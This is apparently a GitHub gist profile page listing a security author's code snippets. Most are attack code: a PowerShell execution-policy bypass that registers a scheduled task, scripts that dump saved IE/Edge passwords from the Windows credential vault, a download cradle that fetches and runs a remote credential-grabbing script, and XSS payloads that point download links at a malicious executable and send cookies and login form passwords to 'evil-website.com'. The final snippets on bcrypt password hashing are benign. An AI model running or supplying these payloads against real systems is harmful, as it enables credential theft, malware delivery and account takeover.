Skip to content

Instantly share code, notes, and snippets.

View K-Mistele's full-sized avatar
🏴‍☠️

Kyle Mistele K-Mistele

🏴‍☠️
View GitHub Profile
powershell -ExecutionPolicy bypass "$action=New-ScheduledTaskAction -Execute 'C:\path\to\script.ps1';$trigger=New-ScheduledTaskTrigger -Once -At 'MM/DD/YYYY HH:MM:SS PM'; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'Launch' -User 'DOMAIN\username'"
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() |% {$_.RetrievePasswords();$_} | Out-File C:\users\public\output.dmp
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/HanseSecure/credgrap_ie_edge/master/credgrap_ie_edge.ps1')"
@K-Mistele
K-Mistele / credlist.ps1
Created June 23, 2021 21:10
Pulling IE/Edge creds with PowerShell
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } | select username,resource,password
// grab all download links on the page
const download_links = document.getElementsByClassName('download-link');
// change their target to a malicious piece of software hosted on the attacker's server
for (let link of download_links) {
link.setAttribute('href', 'https://evil-website.com/evil-program.exe');
}
// capture the cookies
const cookie = document.cookie;
// send the cookies to the attacker
fetch('https://evil-website.com/cookie-capture', {
data: cookie
});
// add an event listener to the form
const form_element = document.getElementsByTagName('form')[0];
form_element.addEventListener('submit', () => {
// capture the username and password from the form
const username = document.getElementById('username_input').value;
const password = document.getElementById('password_input').value;
// send the username and password to the attacker
fetch(`https://evil-website.com/password-capture/?u=${username}&p=${password}`);
@K-Mistele
K-Mistele / DOMBasedXSS.js
Created January 15, 2021 21:43
Dom-based XSS
const username = document.getElementById('username_input');
const username_box = document.getElementById('username_box');
user_name_box.innerHTML = username;
@K-Mistele
K-Mistele / example.py
Created December 22, 2020 23:08
Password hashing with bcrypt in python
import bcrypt
# this will create the hash that you need to store in your database
def create_bcrypt_hash(password):
# convert the string to bytes
password_bytes = password.encode()
# generate a salt
salt = bcrypt.gensalt(14)
# calculate a hash as bytes
password_hash_bytes = bcrypt.hashpw(password_bytes, salt)
@K-Mistele
K-Mistele / pseudocode.py
Created December 22, 2020 23:05
Python pseudo-code for password hashing
def login(username, password):
user = Users.get(username) # fetch the user record from the database
# if no user matches the username, don't log them in
if not user:
return False
# hash the supplied password
supplied_hash = some_hash_function(password)